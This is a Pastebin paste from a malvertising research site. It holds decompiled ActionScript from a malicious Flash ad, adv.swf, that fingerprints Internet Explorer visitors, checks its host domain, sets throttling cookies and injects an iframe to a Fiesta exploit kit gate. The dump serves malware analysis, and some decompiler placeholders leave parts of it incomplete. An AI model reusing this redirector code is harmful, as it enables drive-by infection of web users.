Advertisement
StopMalvertising

adv.swf to Fiesta EK Landing

Aug 29th, 2014
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # adv.swf to Fiesta EK Landing
  2. # http://stopmalvertising.com/malware-reports/fiesta-ek-on-asus-rog-forums-targets-internet-explorer-users.html
  3.  
  4. package {
  5.     import flash.net.*;
  6.     import flash.display.*;
  7.     import flash.external.*;
  8.     import flash.utils.*;
  9.     import flash.events.*;
  10.  
  11.     public dynamic class Main extends MovieClip {
  12.  
  13.         private static const SQUARE_BRACKET_LEFT:String = "]";
  14.         private static const SQUARE_BRACKET_RIGHT:String = "[";
  15.         private static const SQUARE_BRACKET_LEFT_ENCODED:String = encodeURIComponent("]");
  16.         private static const SQUARE_BRACKET_RIGHT_ENCODED:String = encodeURIComponent("[");
  17.  
  18.         private var mySo:SharedObject;
  19.         private var debug:Boolean = true;
  20.  
  21.         public function Main():void{
  22.             var _local2 = null;
  23.             var _local5 = null;
  24.             var _local4 = null;
  25.             var _local1 = null;
  26.             var _local3 = null;
  27.             mySo = SharedObject.getLocal("counterswfcookie", "/");
  28.             super();
  29.             if (ExternalInterface.available){
  30.                 _local2 = ExternalInterface.call("function(){ return window.navigator.userAgent; }");
  31.                 _local5 = root.loaderInfo.loaderURL;
  32.                 _local4 = getServerName(root.loaderInfo.loaderURL);
  33.                 log("useragent", _local2);
  34.                 log("swfdom", _local4);
  35.                 if ((((((_local2.indexOf("Trident") === -1)) && ((_local2.indexOf("MSIE") === -1)))) && (!(debug)))){
  36.                     return;
  37.                 };
  38.                 if ((((_local4.indexOf("nidora.asia") === -1)) && (!(debug)))){
  39.                     return;
  40.                 };
  41.                 _local1 = gc("__utmf");
  42.                 log("cookie", _local1);
  43.                 if (((!(saveValue())) || ((_local1 == "bar")))){
  44.                     if (_local1 !== "bar"){
  45.                         createCookie("__utmf", "bar", 2);
  46.                     };
  47.                     return;
  48.                 };
  49.                 _local3 = _local5.split(".swf").join(".php");
  50.                 log("gateUrl", _local3);
  51.                 createIframe(_local3);
  52.             };
  53.         }
  54.         private function saveValue():Boolean{
  55.             var _local1:Date = new Date();
  56.             if (((!((mySo.data.mycookie === undefined))) || (((_local1.getTime() - mySo.data.mycookie) < 172800000)))){
  57.                 log("savedata", "false");
  58.                 return (false);
  59.             };
  60.             mySo.data.mycookie = _local1.getTime();
  61.             var _local2:String;
  62.             try {
  63.                 _local2 = mySo.flush(10000);
  64.             } catch(error:Error) {
  65.             };
  66.             if (_local2 != null){
  67.                 var _local5 = _local2;
  68.                 while ("pending" === _local5) {
  69.                     mySo.addEventListener("netStatus", onFlushStatus);
  70.                     //unresolved jump
  71.                     //unresolved jump
  72.                 };
  73.                 //unresolved if
  74.             };
  75.             return (true);
  76.         }
  77.         private function onFlushStatus(event:NetStatusEvent):void{
  78.             var _local2 = event.info.code;
  79.             while ("SharedObject.Flush.Success" === _local2) {
  80.                 //unresolved jump
  81.                 //unresolved jump
  82.             };
  83.             //unresolved if
  84.             mySo.removeEventListener("netStatus", onFlushStatus);
  85.         }
  86.         public function createCookie(name:String, value:String, days:int=0):void{
  87.             var _local4:String = (((((((((((((("function createCookie(){var expires = '';if (" + days) + " > 0){") + "var date = new Date();") + "date.setTime(date.getTime()+(") + days) + "*24*60*60*1000));") + "expires = 'expires = ' + date.toGMTString();") + "}") + "document.cookie = '") + name) + "=") + value) + "; expires=' + expires + '; path=/';") + "}");
  88.             ExternalInterface.call(_local4);
  89.         }
  90.         public function gc(cookieName:String):String{
  91.             var _local6:int;
  92.             var _local7:int;
  93.             var _local3:String = "";
  94.             var _local2:String = (cookieName + "=");
  95.             var _local5:String = "function getCookie(){return document.cookie;}";
  96.             var _local4:String = ExternalInterface.call(_local5).toString();
  97.             if (_local4.length > 0){
  98.                 _local6 = _local4.indexOf(_local2);
  99.                 if (_local6 != -1){
  100.                     _local6 = (_local6 + _local2.length);
  101.                     _local7 = _local4.indexOf(";", _local6);
  102.                     if (_local7 == -1){
  103.                         _local7 = _local4.length;
  104.                     };
  105.                     _local3 = unescape(_local4.substring(_local6, _local7));
  106.                 };
  107.             };
  108.             return (_local3);
  109.         }
  110.         public function createIframe(url:String):void{
  111.             var _local3:String = "iframe";
  112.             var _local2:String = (((("function(){var i = document.createElement('" + _local3) + "'); i.setAttribute('src', '") + url) + "');document.body.appendChild(i)}");
  113.             ExternalInterface.call(_local2);
  114.         }
  115.         private function long2ip(ip):String{
  116.             if (!isFinite(ip)){
  117.                 return ("");
  118.             };
  119.             return ([(ip >>> 24), ((ip >>> 16) & 0xFF), ((ip >>> 8) & 0xFF), (ip & 0xFF)].join("."));
  120.         }
  121.         private function log(msg, param=""):void{
  122.             if (!debug){
  123.                 return;
  124.             };
  125.             ExternalInterface.call("console.log", ((msg + ": ") + param));
  126.         }
  127.         public function getServerName(url:String):String{
  128.             var _local2:String = getServerNameWithPort(url);
  129.             var _local3:int = indexOfLeftSquareBracket(_local2);
  130.             _local3 = ((_local3)>-1) ? _local2.indexOf(":", _local3) : _local2.indexOf(":");
  131.             if (_local3 > 0){
  132.                 _local2 = _local2.substring(0, _local3);
  133.             };
  134.             return (_local2);
  135.         }
  136.         private function indexOfLeftSquareBracket(value:String):int{
  137.             var _local2:int = value.indexOf("]");
  138.             if (_local2 == -1){
  139.                 _local2 = value.indexOf(SQUARE_BRACKET_LEFT_ENCODED);
  140.             };
  141.             return (_local2);
  142.         }
  143.         public function getServerNameWithPort(url:String):String{
  144.             var _local2:int = (url.indexOf("/") + 2);
  145.             var _local3:int = url.indexOf("/", _local2);
  146.             return (((_local3)==-1) ? url.substring(_local2) : url.substring(_local2, _local3));
  147.         }
  148.  
  149.     }
  150. }//package
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement